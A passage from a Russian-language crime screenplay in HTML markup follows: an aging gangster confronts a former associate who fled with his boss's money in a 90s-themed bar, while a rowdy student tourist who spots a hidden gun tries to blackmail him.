  <p id="F1dp">             Ну здравствуй..</p>
  <p id="hxPF">(пауза)</p>
  <p id="fS7H">             .. друг.</p>
  <h2 id="ycuE">8. ИНТ. БАР. ВХОД</h2>
  <p id="619U">Внезапно в кабак с шумом вваливается группа туристов. Молодые парни и девушки (19-22), студенты, приехавшие в летний Питер на каникулы. </p>
  <p id="ziJH">Молодые необремененные интеллектом лица, дурацкая одежда и полное непонимание опасности ситуации.</p>
  <p id="fOJ8">Пятеро. </p>
  <p id="Um07" data-align="center">ЛИЗА</p>
  <p id="mOpa">Одета в оверсайз, на шее старый пленочный фотоаппарат, носит круглые очки.</p>
  <p id="tyuW">(обводя взглядом помещение)</p>
  <p id="PWgK">             Вау! Какой винтаж! </p>
  <p id="Kq5N">             Как же тут все ау.. ау... аутенистично! </p>
  <p id="S6hN">(подбегает к стене, увешанной плакатами из 90х, начинает разглядывать и фотографировать)</p>
  <p id="6kZA" data-align="center">МАКС</p>
  <p id="uLQv">Красив, высок и подкачан. Одет в майку-алкоголичку, на шее фальшивая золотая цепь как у рэперов. Мажор.</p>
  <p id="tQPs">             Ну да, это просто старый подвал. </p>
  <p id="n0lL">             Ничего такого. </p>
  <p id="pxbv">             Но даже в этой дыре я готов засадить своей королеве.</p>
  <p id="LgGA">(прижимает к себе Алину, хватает ее за жопу и смачно в засос целует)</p>
  <p id="kT1t" data-align="center">ПЕТР </p>
  <p id="2ulm">Друг Макса, мелкий алкоголик и нищеброд, трется рядом и постоянно бухает. В красной кепке с логотипом LA.</p>
  <p id="28Lc">             Вообщет в Париже видали и круче. Мы правда тогда так нажрались, что я плохо помню.. </p>
  <p id="CrZI">             Но было круто! </p>
  <p id="rYjm" data-align="center">АЛИНА </p>
  <p id="NIlB">Девушка Макса, крашеная блондинка сельско-модельной внешности, сиськи-жопа — все на месте. С накладными ногтями.</p>
  <p id="renb">(расцепившись после засоса с Максом, наконец оглядывает помещение, с презрением)</p>
  <p id="AX14">             Боже ну и дыра.. </p>
  <p id="khE1">             И нахрена вы меня сюда притащили?</p>
  <p id="oTxr">(принюхивается)</p>
  <p id="YOqC">             Тут воняет!</p>
  <p id="EY3k" data-align="center">ПАВЕЛ</p>
  <p id="ZBgk">Интеллигентного вида молодой человек, хипстер, парень Лизы.</p>
  <p id="fDie">(обращаясь к Петру)</p>
  <p id="1SWy">            Хотя бы сегодня не нажирайся заранее, а?</p>
  <p id="fnPM">            Нам еще до Петергофа ехать.</p>
  <p id="K5PI">            Снова укачает в дороге и заблюешь все вокруг.. </p>
  <p id="tXfS" data-align="center">ПЕТР</p>
  <p id="h9Iu">            Матросов не укачивает!</p>
  <p id="e6vH" data-align="center">ПАВЕЛ</p>
  <p id="K8Ax">            Макс скажи ему!</p>
  <p id="CHsJ" data-align="center">АЛИНА</p>
  <p id="2Cpd">(обращаясь к подошедшему бармену)</p>
  <p id="4wuM">            У вас тут дамская комната есть?</p>
  <p id="S0gW">            Или в вашем веке их еще не придумали?</p>
  <p id="1C2j">Бармен молча указывает направление, не желая спорить с идиоткой.</p>
  <p id="3iz1">Алина удаляется в указанном направлении, виляя отменной жопой. Остальные направляются к большому столику в центре зала.</p>
  <p id="j52c" data-align="center">МАКС</p>
  <p id="t4Aj">            Два дебила блин..</p>
  <p id="7nCM">(обращаясь к Петру)</p>
  <p id="GZBJ">            Давай мы туда доберемся, а там бухай сколько влезет.</p>
  <p id="JsRx">            Твой город епт.</p>
  <p id="0Ofs">            Там и оставим. </p>
  <p id="9grL">            Как проспишься — вернешься.</p>
  <p id="c6w6" data-align="center">ПЕТР</p>
  <p id="7YvQ">(примирительно)</p>
  <p id="XgN3">             Да какой он мой?  </p>
  <p id="MrSu">             У меня там бабушка жила, умерла давно.</p>
  <p id="0DT9" data-align="center">МАКС</p>
  <p id="61zy">              Ниче. Бухло, бабу и койку всегда найдешь.</p>
  <p id="v73M">              Ты ж матрос.</p>
  <p id="g5hh">Тут в интеллектуальную дискуссию влезает Павел.</p>
  <p id="RE9S" data-align="center">ПАВЕЛ</p>
  <p id="PvgF">(смотря на часы)</p>
  <p id="EJHd">             Ребят, у нас еще два часа до автобуса, давайте просто посидим. </p>
  <p id="QBoK">             Не шляться же по городу просто так.</p>
  <p id="pnkb">Компания рассаживается за столиком. Артура с Михаилом они не замечают.</p>
  <h2 id="d57C">9. ИНТ. БАР. СТОЛИК АРТУРА И МИХАИЛА.</h2>
  <p id="Xrea">Наши герои сидят прямо, с напряжением и долго молча смотрят друг на друга. Где-то на фоне, со стороны компании молодежи слышны приглушенные звуки веселья, гогот и взрывы смеха. </p>
  <p id="Ra1Q">Наконец Михаил не выдерживает и отводит взгляд. </p>
  <p id="rmDI">Смотрит на кофе перед Артуром.</p>
  <p id="GZxo" data-align="center">МИХАИЛ</p>
  <p id="ctRa">             Надо мне тоже чего-нибудь заказать..</p>
  <p id="EalC" data-align="center">АРТУР</p>
  <p id="YNWD">(издевательски)</p>
  <p id="kSmz">             Ты сюда пожрать пришел?</p>
  <p id="0AK0" data-align="center">МИХАИЛ</p>
  <p id="mzrf">(примирительно)</p>
  <p id="yLuY">             Да-да, я понял. </p>
  <p id="aNUu">             Можешь не продолжать. </p>
  <p id="pqmt">             Тоже рад тебя видеть.  </p>
  <p id="rh9N">(окидывает взглядом)</p>
  <p id="C8VN">              Смотрю форму держишь..</p>
  <p id="wrkc" data-align="center">АРТУР</p>
  <p id="4egE">(кивая)</p>
  <p id="z0Hy">            Угу.</p>
  <p id="o2Gn">             Теперь еще про семью спроси. </p>
  <p id="nfPN">             Про жену и детей. </p>
  <p id="urtc">             Играй до конца приличного человека.</p>
  <p id="vw3Y">(оценив явно дорогой костюм Михаила)</p>
  <p id="ImDf">             Смотрю дела идут хорошо.</p>
  <p id="21TZ">(смотря в глаза Михаилу)</p>
  <p id="ml8p">             Вернее шли. </p>
  <p id="ycIK">             Или ты к нам типа на экскурсию заглянул?</p>
  <p id="mBRc">             Пройтись по местам боевой славы и трудовых подвигов.</p>
  <p id="ygEB">             Так чтоли?</p>
  <p id="GNyL" data-align="center">МИХАИЛ</p>
  <p id="OwXd">(морщась, разводя руками)</p>
  <p id="Zlm2">             Обстоятельства изменились.  </p>
  <p id="pHkR">             Разные внешние факторы.</p>
  <p id="Mwhq">             Санкции-санации..</p>
  <p id="lsqK">(на фоне слышен взрыв хохота от компании молодежи)</p>
  <p id="mKkv">             Пришлось свернуть бизнес.</p>
  <p id="TuY3" data-align="center">АРТУР</p>
  <p id="Uq4B">(ухмыляясь, со стебом)</p>
  <p id="hI5T">             Ути-пути бедненький!  </p>
  <p id="48M0">             Злые европейцы обидели честного российского бизнесмена!</p>
  <p id="ONCi">             Никогда такого не было.             </p>
  <p id="WeG9">(пауза)</p>
  <p id="7Vvp">             И ты решил вернуться. </p>
  <p id="uEFt">             После всего.</p>
  <p id="MIFz">             И теперь сидишь тут, весь такой красивый и успешный.</p>
  <p id="idfh">             Дай догадаюсь: ТЫ думал, что девяностые прошли, мы постарели, успокоились и все изменилось.</p>
  <p id="WjJN">             Теперь все сыты и довольны, никто больше не стреляет.</p>
  <p id="3WoL">             И все плохое теперь стоит забыть и простить за давностью лет. </p>
  <p id="mEj5">             Взяться за ручки и обняться.</p>
  <p id="2K7h">             Ничего не упустил?</p>
  <p id="OlOh" data-align="center">МИХАИЛ</p>
  <p id="MdtL">(смущенно)</p>
  <p id="THEF">             Но ведь все действительно изменилось. </p>
  <p id="z1fw">             Посмотри вокруг! Столько новых, красивых зданий. Новые лица, новые люди! Кругом прогресс и развитие!</p>
  <p id="GKoP">(камера показывает столик с малолетними дегенератами, ржущими над очередной тупой шуткой)</p>
  <p id="YaPh">             Я изменился, стал другим человеком. </p>
  <p id="SWYI">             Построил успешный бизнес. </p>
  <p id="FW7W">(тыкая себе в грудь)</p>
  <p id="6zBO">             Сам! Своим умом, своим трудом и стараниями.</p>
  <p id="ZFzq" data-align="center">АРТУР</p>
  <p id="NSNN">(усмехаясь)</p>
  <p id="5brB">             Бабе своей расскажи, чтоб крепче любила.</p>
  <p id="8vm5">             Мне не надо.</p>
  <p id="6SOA">             У меня вагины нет, поэтому думаю другим местом.</p>
  <p id="9Lzk">(смотря внимательно)</p>
  <p id="IjGB">             И память тоже пока не подводит, прикинь. </p>
  <p id="LdOJ">             Деньги помню. И сейф шефа.</p>
  <p id="Rfmj">             А потом денег не стало. </p>
  <p id="WZIu">             Вместе с тобой.</p>
  <p id="e90c" data-align="center">МИХАИЛ</p>
  <p id="yL2O">(медленно, с серьезным выражением лица)</p>
  <p id="aaMt">             Ты меня в чем-то обвиняешь?  </p>
  <p id="fyTt">             Я правильно услышал?</p>
  <p id="dQcl" data-align="center">АРТУР</p>
  <p id="LTv6">(издевательски)</p>
  <p id="bO1h">             Ну что вы, Михаил Борисович. </p>
  <p id="u0vW">             Как так можно. </p>
  <p id="dLZj">             Вы же теперь серьезный человек, бизнесмен. </p>
  <p id="ZXyN">             А спешно переехали в другую страну просто так, в поисках нового опыта и вдохновения.</p>
  <p id="y5Mz" data-align="center">МИХАИЛ</p>
  <p id="pZtE">(наваливаясь на стол и приблизив лицо, грозно тыкая пальцем)</p>
  <p id="WhcX">              Слыш ты!</p>
  <p id="aMTv">              Я вообще мог сюда не приходить. Эта встреча лишь дань уважения организации. </p>
  <p id="BRbj">             Не более того.</p>
  <p id="aZDQ">             Времена изменились, (пауза, Михаил раскидывает руки в стороны) — <strong>все</strong> изменилось.</p>
  <p id="k0QI">(тыкая в Артура пальцем)</p>
  <p id="Dk0z">             У вас больше нет власти!</p>
  <p id="01Rx">             Никакой.</p>
  <p id="0cGk">             Вас никто не боится. </p>
  <p id="iRX7">             Никто не уважает.</p>
  <p id="pL8d">             Ты просто старый алкаш, шеф — жалкий инвалид в кресле-каталке.</p>
  <p id="vDJS">             Прошло ваше время.</p>
  <p id="BvAC" data-align="center">АРТУР</p>
  <p id="P2E3">(смотря пустым взглядом как будто насквозь)</p>
  <p id="p0pC">             Все сказал?</p>
  <p id="0EpF">(камера уезжает под стол, показывается палец на курке автомата)</p>
  <h2 id="j9XU">10. ИНТ. СТОЛИК МОЛОДОЙ КОМПАНИИ.</h2>
  <p id="QEyJ"></p>
  <p id="Mve5" data-align="center">ЛИЗА</p>
  <p id="C6Mk">             Блииин ребята.. я в таком восторге! </p>
  <p id="ucqG">(чуть подпрыгивает от восторга)</p>
  <p id="jdHb">             Чудесное место! </p>
  <p id="66HM">             Пашааа я тебя люблю! </p>
  <p id="iORA">(начинают обниматься с Павлом)</p>
  <p id="ojDF">             Спасибо что нашел это место, мой милый.</p>
  <p id="VdnD" data-align="center">АЛИНА</p>
  <p id="m1yX">             Да все в курсе  что ты тащишься от всякого старья. </p>
  <p id="kODD">(указывает пальцем на замызганные столики)</p>
  <p id="UjZC">             Но это уже перебор.</p>
  <p id="72C8">             Макс давай свалим?</p>
  <p id="WCAp">             Это ну совсем дно..</p>
  <p id="bBXG" data-align="center">ПЕТР</p>
  <p id="fa0C">(смотрит меню со все возрастающим изумлением)</p>
  <p id="qCVb">             Пипееец... </p>
  <p id="7BGu">             Ну это просто нечто! </p>
  <p id="8sPj">             Ребят у них тут сто двадцать сортов водки!</p>
  <p id="Tn78">             Даже самогон есть!</p>
  <p id="bxgP">(начинает подпрыгивать от радости)</p>
  <p id="H9Qk">             Я в раю! В раю! В раюююю!</p>
  <p id="obqY" data-align="center">МАКС</p>
  <p id="MTCk">(явно впечатлившись ассортиментом)</p>
  <p id="jB34">             Ээ.. Алиночка дорогая..</p>
  <p id="Zhda">             Мнение большинства..</p>
  <p id="tjcp">             Ну ты понимаешь.</p>
  <p id="ockN" data-align="center">АЛИНА</p>
  <p id="3oym">(поднимает снизу ладонями свои объемные груди, эротичным голосом)</p>
  <p id="KhNY">             Максииик.. </p>
  <p id="cXRs">             Зайка..</p>
  <p id="ZWAw">             Ты же хочешь этого да?</p>
  <p id="ZZ3H">             Хочешь чтобы я тебе еще раз дала?</p>
  <p id="2lnA"></p>
  <h2 id="uVCE">11. ИНТ. СТОЛИК АРТУРА И МИХАИЛА.</h2>
  <p id="G073">Продолжается непростой, напряженный диалог.</p>
  <p id="lbDP">Михаил поняв что наговорил лишнего, тем нее менее пытается переубедить бывшего коллегу и перетянуть на свою сторону.</p>
  <p id="A1W3" data-align="center">МИХАИЛ</p>
  <p id="7qyh">             Ну и что тебе дал этот «Шеф», а? </p>
  <p id="vEGf">             Что?            </p>
  <p id="IK83">(тут очевидный переход из прошлой сцены с Алиной, который дает юморной эффект)</p>
  <p id="joMH">             Давай работать вместе. </p>
  <p id="wUWD">             За мной — бизнес, деньги. </p>
  <p id="k7yw">             Власть в конце концов. </p>
  <p id="wS5g">             Все будет.</p>
  <p id="x1RS">             Мир изменился, нынче совсем другие времена. </p>
  <p id="hfmr">Михаил протягивает свою красивую визитку. Артур подносит к глазам и с интересом зачитывает.</p>
  <p id="GOMj" data-align="center">АРТУР</p>
  <p id="Zbnn">(со стебом)</p>
  <p id="dz9q">            СЕНЬОР ВАЙС ПРЕЗИДЕНТЕ!</p>
  <p id="Cbyl">            ФАЛЬКО ИН-ВЕСТЭ-МЕНТЭС.. ЭЛЬ-ТЭ-ДЭ.</p>
  <p id="aWJf">Убирает визитку Михаила в карман.</p>
  <p id="qGex">             Сеньор значит.</p>
  <p id="aoAZ">             Ну хоть не сеньорита.             </p>
  <p id="xgod">             Вижу растешь.</p>
  <p id="sEnX">             Впечатлен.</p>
  <p id="wrgh">(задумчиво)</p>
  <p id="QYcm">            Но ты прав, да. </p>
  <p id="nJFc">            Все действительно сильно изменилось. </p>
  <p id="CTqI">            Кадык теперь приходится проверять у девушек, прежде чем в койку тащить..</p>
  <p id="itra" data-align="center">МИХАИЛ</p>
  <p id="FffG">(приободрившись, но не въехав в шутку)</p>
  <p id="wNRR">Ну вот видишь! </p>
  <p id="fH2j">Ты же разумный человек, Артур. </p>
  <p id="WVyg">Всегда хорошо соображал.</p>
  <p id="gmCt">Да и годы уже дают о себе знать, пора остепеняться. </p>
  <p id="wqyn">(достает бумажник, из него вытаскивает семейную фотографию жены и детей)</p>
  <p id="31fQ">Аннушка моя ненаглядная, сердце мое. </p>
  <p id="gbwF">Вся моя жизнь в ней и детях.</p>
  <p id="SE00">Так бы и спился где-нибудь в подворотне, если бы не она.</p>
  <p id="ZbrA">(задумчиво)</p>
  <p id="7S2D">Весь смысл жизни только в детях и есть, если подумать. Ничего другого и не..</p>
  <p id="5ryx" data-align="center">АРТУР</p>
  <p id="ixJg">(равнодушно взглянув на фото, тихо)             </p>
  <p id="dXjW">            Помнишь Петровича? </p>
  <p id="m0MJ">Михаил осекается.</p>
  <p id="BzTx">             Помнишь значит. </p>
  <p id="Bvn9">             По глазам вижу.</p>
  <p id="N7M9">             У него тоже была жена и дети.</p>
  <p id="EB5y">             И код от сейфа. </p>
  <p id="ufvF">Михаил отворачивается, смотрит в сторону, ему неприятно все это вспоминать.</p>
  <p id="KNG8">             Вот только ума не хватило сбежать, прихватив жену и детей.</p>
  <p id="mJby">             Так что ты там рассказывал про светлое будущее?</p>
  <p id="CtIK"></p>
  <p id="ra2u">Камера уезжает от столика, дальше речь мы не слышим.</p>
  <p id="Tn6y">Михаил начинает рассказывать предложение, Артур слушает с невозмутимым выражением лица.</p>
  <h2 id="4ZWU">12. ИНТ. СТОЛИК МОЛОДЕЖИ</h2>
  <p id="Doiy">Все расселись, сделали заказ и сидят за столом, забитым местными явствами. Алине не удалось с помощью женской магии заставить Макса покинуть заведение.</p>
  <p id="1hHt">С чего она сильно огорчена.</p>
  <p id="3odo" data-align="center">АЛИНА</p>
  <p id="vAYj">(успев принять 50 грамм на грудь, с чего заметно порозовела)</p>
  <p id="dB1i">             Вот же кобелина..</p>
  <p id="2Teu">             Все вы мужики однаковые!</p>
  <p id="ayRv">             Лишь бы нажраться.</p>
  <p id="Ox6b" data-align="center">МАКС</p>
  <p id="JsYd">(тоже успев принять первую стопку, громко)</p>
  <p id="L26m">             Да успокойся ты!</p>
  <p id="ocae">             Задрала своими претензиями!</p>
  <p id="YOJt">             Все ей не так!</p>
  <p id="3R4p" data-align="center">АЛИНА</p>
  <p id="H0qh">(зверея)</p>
  <p id="PnT0">             Да ты ваще лох и чмо!</p>
  <p id="xKUy">             Зассал татуху на лице бить!</p>
  <p id="gO1K">             Нах ты такой кому нужен, когда на свете есть Элджей?</p>
  <p id="HCyY">(немного подумав)</p>
  <p id="cqI2">             И ваще! </p>
  <p id="5CFU">             Член у тебя маленький.</p>
  <p id="nlBl" data-align="center">МАКС</p>
  <p id="KU4H">(кидаются друг на друга с кулаками)</p>
  <p id="BTfV">             Уью суку!</p>
  <p id="tRTh">Остальные ребята начинают их разнимать. Драться современные дети не умеют, поэтому все выглядит больше как переполох в борделе.</p>
  <p id="BZuW"></p>
  <h2 id="LhkR">13. ИНТ. СТОЛИК АРТУРА И МИХАИЛА</h2>
  <p id="zcwN">Михаил закончил с предложением, Артур сидит в задумчивости, переваривая услышанное.</p>
  <p id="meVU" data-align="center">АРТУР</p>
  <p id="kKG3">            Какое интересное предложение.</p>
  <p id="sZZK">            Прям не ожидал.</p>
  <p id="MXml">            Вижу ты действительно стал другим человеком.</p>
  <p id="ISqz">            Кто бы мог подумать.</p>
  <p id="m1zN">(проницательно)</p>
  <p id="0mOz">             Женщины.. </p>
  <p id="DMUl">             Они всегда все меняют.</p>
  <p id="FtLS">             Ладно, отойду покурить..</p>
  <p id="DV8Z">              А ты посиди, отдохни. Только не буянь.</p>
  <p id="zj0n">(смотрит осуждающе)</p>
  <p id="yFxK">             Ну ты понял.</p>
  <p id="CTdY">             Времена уже не те. </p>
  <p id="kXug">             Не так поймут.</p>
  <p id="xJrG" data-align="center">МИХАИЛ</p>
  <p id="wYeC">             За кого ты меня принимаешь? </p>
  <p id="xigP">             Я серьезный бизнесмен.</p>
  <p id="buKn">Артур ухмыляясь поднимается, хлопает Михаила по плечу и идет на выход.</p>
  <p id="ZnwR"></p>
  <h2 id="caUa">14. ИНТ. СТОЛИК ТУРИСТОВ</h2>
  <p id="4SpS">Макса с Алиной растащили по разным сторонам, Лиза успокаивает Алину, Петр с Павлом — Макса.</p>
  <p id="bI6u">Атмосфера напряженная и голубки вот вот снова полезут в драку. Продолжают переругиваться.</p>
  <p id="GCrQ" data-align="center">АЛИНА</p>
  <p id="bFNV">             Нахера я только согласилась с вами ехать.</p>
  <p id="Qhbf">(замечает сломаный ноготь, подносит палец к глазам, ноготь вот-вот оторвется)</p>
  <p id="roV1">             Видишь что ты наделал!</p>
  <p id="8Xk2">             Мудак!</p>
  <p id="mu3N" data-align="center">МАКС</p>
  <p id="rJlY">             Рот закрой, овца крашеная!</p>
  <p id="qgY2" data-align="center">АЛИНА</p>
  <p id="tRKu">             Это я-то крашеная?</p>
  <p id="Gbx1">             Ты же сам хаер свой красишь, мудила!</p>
  <p id="KKQV">             Еще каталог ему просил купить. С красками и гелями.</p>
  <p id="swmn">             Как баба!</p>
  <p id="LkqL" data-align="center">МАКС</p>
  <p id="twKb">(пытается ударить, Павел с Петром удерживают)</p>
  <p id="RFdQ">             Заткнись, тварь тупая!</p>
  <p id="FC13" data-align="center">ЛИЗА</p>
  <p id="c4Fa">(примиряюще)</p>
  <p id="OX1Q">             Ребята ну не надо так. </p>
  <p id="6vkY">             У нас отпуск, каникулы а вы мальчики все портите. </p>
  <p id="W8kH">             Дома разберетесь.</p>
  <p id="Crqe">(замечает Артура, который с интересом слушает перепалку)</p>
  <p id="EIbF">             Вы окружающих пугаете. </p>
  <p id="Frhd">Все головы поворачиваются к Артуру. На какое-то время все замолкают.</p>
  <p id="uwz9" data-align="center">МАКС</p>
  <p id="cqzW">(с агрессией)</p>
  <p id="bPIO">             Тебе че надо дед?</p>
  <p id="I9tM">             Пшел отсюдова! </p>
  <p id="badL">             Пока ноги ходят.</p>
  <p id="6HOK">Артур ничего не отвечает и какое-то время просто стоит на месте. Затем улыбнувшись, проходит мимо столика к выходу.</p>
  <p id="WUYv">Это разряжает обстановку за столом, ребята успокаиваются.</p>
  <p id="Hdxb" data-align="center">ПАВЕЛ</p>
  <p id="nKJb">             Макс блин, так же нельзя!</p>
  <p id="uEsL">             Это старый, пожилой человек.</p>
  <p id="3U1T">             Да и что он тебе сделал-то?</p>
  <p id="6dzH" data-align="center">МАКС</p>
  <p id="huEZ">(грозно)</p>
  <p id="Sz0S">             Если бы сделал — я б его ваще прибил на месте!</p>
  <p id="Azk4">             Калич старый..</p>
  <p id="RB2i">             Ненавижу блин дедов.</p>
  <p id="84sW">             Все старичье ваще  — или алкаши или педофилы.</p>
  <p id="EFHZ">             Когда уже только передохнут.             </p>
  <p id="LJUp" data-align="center">ПЕТР</p>
  <p id="wlpw">(поддакивая)</p>
  <p id="fBnL">             Моя бабка когда сдохла, квартиру оставила матери, прикиньте. </p>
  <p id="U3IB">             Не мне.</p>
  <p id="e6Md">             А я типа сам должен заработать.</p>
  <p id="i91l" data-align="center">МАКС</p>
  <p id="7DGI">             Во-во!</p>
  <p id="b2vx">             Чисто дедовская тема!</p>
  <p id="VqpS">             В их-то молодость ипотеки не было.</p>
  <p id="f55S">             И все поучают. </p>
  <p id="nEIE" data-align="center">ПЕТР</p>
  <p id="bCzd">(мерзко хихикая)</p>
  <p id="KGbI">             Хе-хе а твоя Алинка-то деду понравилась!</p>
  <p id="oA1X">             Он на нее так долго пырил.</p>
  <p id="ZZhd" data-align="center">МАКС</p>
  <p id="laEv">             Молчи псина сутулая!             </p>
  <p id="bRi2">Тут Макс срывает кепку с Пети и кидает ее в сторону столика «ветеранов». Под общий смех и улюлюкание, Петя встает из-за стола и идет ее забирать.</p>
  <p id="mthx">Присев, он поднимает ее с пола, оттряхивает и тут замечает автомат под столом за которым сидит Михаил.</p>
  <p id="Gddd">Удивляется, но не подает виду Михаилу и медленно отходит.</p>
  <p id="TZ9F">Возвращается к столику с молодежью, еще раз смотрит в сторону Михаила — решает что делать.</p>
  <p id="4qwu" data-align="center"></p>
  <h2 id="qPUV">15. НАТ.  ВХОД В БАР. </h2>
  <p id="sQjK">Внутренний дворик перед кабаком «Дух девяностых».</p>
  <p id="FNt2">Артур в задумчивости достает пачку сигарет, закуривает. Достает телефон-раскладушку, набирает номер и делает вызов.</p>
  <p id="vjWC">С другой стороны отвечает очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке.</p>
  <p id="PeQL">Кресло-каталка стоит на террасе загородного коттеджа, вид на реку, съемка со спины и лица не видно.</p>
  <p id="TFpz" data-align="center">АРТУР</p>
  <p id="VQbU">(говорит по телефону)</p>
  <p id="sLMx">             День добрый, Арсений Павлович. </p>
  <p id="IKeG">             Встретился с нашей сбежавшей звездой коммерции.</p>
  <p id="z8ry">             Да, он самый.</p>
  <p id="xajq">             Вам все верно доложили, действительно он. </p>
  <p id="EsoM">             Сам приехал. Нет, никто за хвост не тащил.</p>
  <p id="PzOx">             Живой и здоровый.</p>
  <p id="KPaQ">(пауза)</p>
  <p id="3e8R">             Пока целый.</p>
  <p id="D9Of">             Предложил следующее.</p>
  <p id="ew9w">(сцена переключается на пенсионера в кресле-каталке, сам текст предложения мы не слышим)</p>
  <p id="KiCQ">             Некоторое время шеф внимательно слушает, не перебивая. </p>
  <p id="RkcD">             Наконец Артур заканчивает говорить.</p>
  <p id="cgEt" data-align="center">АРТУР</p>
  <p id="hgcc">(задумчиво)</p>
  <p id="ix6m">             Может и правда все изменилось. </p>
  <p id="HKi6">             Столько лет прошло.</p>
  <p id="xdRk">             У него теперь жена и дети малые.</p>
  <p id="6fYd">             Совсем другая жизнь.</p>
  <p id="VeEW" data-align="center">ШЕФ</p>
  <p id="16q9">(с сильным грузинским акцентом, становится понятно что &quot;Арсений Павлович&quot; не настоящее имя)             </p>
  <p id="n5PZ">             Ты помнишь Петровича, Артур?</p>
  <p id="rZ5e">             У него тоже была жена и дети. </p>
  <p id="aLdK">             Их тебе не было жалко.</p>
  <p id="72TR" data-align="center">АРТУР</p>
  <p id="ynb1">             То было другое время, Арсений Павлович.</p>
  <p id="VR2C">              Мы все были моложе.           </p>
  <p id="kDX4">(задумчиво)</p>
  <p id="swJo">             Возможно Михаил прав, все же дети это наше будущее.</p>
  <p id="8LEK">             Единственное ради чего еще стоит жить..</p>
  <p id="Yawu" data-align="center">ШЕФ</p>
  <p id="hSQ6">             Мы с тобой очень давно знакомы, Артур.</p>
  <p id="qUP0">             И Мишу ты тоже знаешь не первый день.</p>
  <p id="z9HL">             Работал когда-то с ним. </p>
  <p id="yhsh">             Дэла делал.</p>
  <p id="TmES">             Я не стану тебе приказывать.</p>
  <p id="mdX3">             Ты уже взрослый, Артур. </p>
  <p id="skqH">             Прими это решение сам.</p>
  <p id="OMu8">(шеф завершает звонок)</p>
  <p id="D0nN">Артур складывает и убирает телефон.</p>
  <p id="uNH4" data-align="center">АРТУР</p>
  <p id="8ZXt">(задумчиво)</p>
  <p id="Pytn">              Дети — цветы жизни..</p>
  <p id="htq7">              Кормишь их, заботишься.</p>
  <p id="4sg9">              А потом они вырастают.  </p>
  <p id="3nHY">Все это время, пока шел диалог с шефом, на заднем плане Петя медленно и нерешительно подходил к Артуру.</p>
  <h2 id="B0Zl">16. НАТ. ВХОД В БАР</h2>
  <p id="zIjC">Петр поднимается вверх по ступенькам бара, выходит наружу. Озирается и замечает Артура с сигаретой.</p>
  <p id="0hP7" data-align="center">ПЕТР</p>
  <p id="29Na">             Дядь, угостите сигаретой?</p>
  <p id="FrQL">Артур поворачивает голову и смотрит на Петра бессмысленным взглядом какое-то время. Затем понимает наконец чего от него хотят. </p>
  <p id="YOfC">Протягивает пачку.</p>
  <p id="4zU5">Петр вытягивает две папиросы, одну кладет за ухо, вторую — просит прикурить у Артура.</p>
  <p id="ZjPW">Артур дает зажигалку. </p>
  <p id="K3YL">Тот затягивается.</p>
  <p id="yELh" data-align="center">ПЕТР</p>
  <p id="mDAU">             Дядь а вы киллер, да?</p>
  <p id="H8yw">             Видел ствол под тем столом, внизу.</p>
  <p id="f1ha">             Тот тип в дорогом костюме — ваш клиент? Это его вам надо завалить?</p>
  <p id="0bsf">Артур смотрит с интересом, но ничего не говорит. </p>
  <p id="x6Cj" data-align="center">ПЕТР</p>
  <p id="1Oiw">             А вы крутой.</p>
  <p id="Lvkf">             И наверное богатый. </p>
  <p id="aybl">             За такое хорошо платят, я в кино видел. </p>
  <p id="ZsyN">             Дядь, а давайте вы мне миллион долларов, а я типа такой — ничего не видел, ничего не знаю. </p>
  <p id="vSC1">             Мусорам так и скажу.</p>
  <p id="LxqH">             Они же тупые все. </p>
  <p id="RqZ8" data-align="center">АРТУР</p>
  <p id="E1gR">             Тебя как зовут, отрок?</p>
  <p id="Stqb" data-align="center">ПЕТР</p>
  <p id="f57V">             Петей.</p>
  <p id="8FaV">             Назвали в честь Петра Первого. </p>
  <p id="fXhl">             Жил такой крутой мужик когда-то давно. Примерно как вы.</p>
  <p id="g43K" data-align="center">АРТУР</p>
  <p id="4XhH">             Петя значит. </p>
  <p id="8Doy">             А папа у тебя есть, Петя? </p>
  <p id="vHeu">             Чем папа занимается?</p>
  <p id="h2MS" data-align="center">ПЕТР</p>
  <p id="Pxyz">             Пердит в диван, бухает да в телек пялит.</p>
  <p id="MLwH">             На пенсии он. </p>
  <p id="OeD0">             Охранником работал, когда-то давно.</p>
  <p id="9QLZ">             Мы из бедноты.</p>
  <p id="iOD5">             Деньги очень нужны, дядь. </p>
  <p id="rgCb">             Хочу подняться в жизни.</p>
  <p id="XCjt" data-align="center">АРТУР</p>
  <p id="iTMp">             И что же ты будешь делать с миллионом?</p>
  <p id="kjDA" data-align="center">ПЕТР</p>
  <p id="OLli">             Тачку крутую куплю. </p>
  <p id="qYIZ">             И хату.</p>
  <p id="rIjX">             В Москва-Сити.</p>
  <p id="6GmT" data-align="center">АРТУР</p>
  <p id="gBg6">             Боюсь одного миллиона не хватит. </p>
  <p id="aRVS">             Там слишком дорого.</p>
  <p id="K56v">             Даже для таких успешных.</p>
  <p id="8MnE" data-align="center">ПЕТР</p>
  <p id="yZEC">             Ну тогда арендую, епта.</p>
  <p id="Ysl1">(тут Петя пытается руками визуализировать желаемый миллион)</p>
  <p id="tDrd">             Деньги липнут к деньгам, успех — к успеху. </p>
  <p id="DQ6j">             Надо как это..  </p>
  <p id="c30X">(произносит с трудом, практически по слогам)</p>
  <p id="r3Uo">             Ви-зу-ализовать. Во! </p>
  <p id="6jxL">             Представлять картинку.</p>
  <p id="uSNL">             Раз лям, два лям.. </p>
  <p id="I7U2">             Поцаны в интернете научили.</p>
  <p id="4G8X">             Понял идею, дядя?</p>
  <p id="WzSD" data-align="center">АРТУР</p>
  <p id="GNTn">(удивившись с такой борзоты)</p>
  <p id="eAFs">             А мы уже на ты? </p>
  <p id="dZGu">             Не стоит хамить благодетелю.</p>
  <p id="38bb">             Совет на будущее.</p>
  <p id="M7Z8" data-align="center">ПЕТР</p>
  <p id="J6qI">             А я тебя типа уже шантажирую, дядя. </p>
  <p id="eFqa">             Но походу одного ляма мало.</p>
  <p id="qHAc">             Чето ты не впечатлился.</p>
  <p id="CLKe">             Давай-ка десять.</p>
  <p id="k6Vc">             Типа инфляция. </p>
  <p id="26it">             Повышаем расценки.</p>
  <p id="SAkp">Артур докуривает сигарету, бросает окурок на землю и тушит ботинком.</p>
  <p id="3Byh" data-align="center">АРТУР </p>
  <p id="LJ7m">             Ну десять так десять. </p>
  <p id="LkQM">             Иди за мной.</p>
  <p id="5Yfj">Тут Артур поворачивается к Петру спиной и начинает спокойно двигаться в сторону ближайшего мусорного контейнера. </p>
  <p id="lCMI">Нападения сзади от такого клоуна он точно не ждет и какой-либо угрозой Петра не считает. </p>
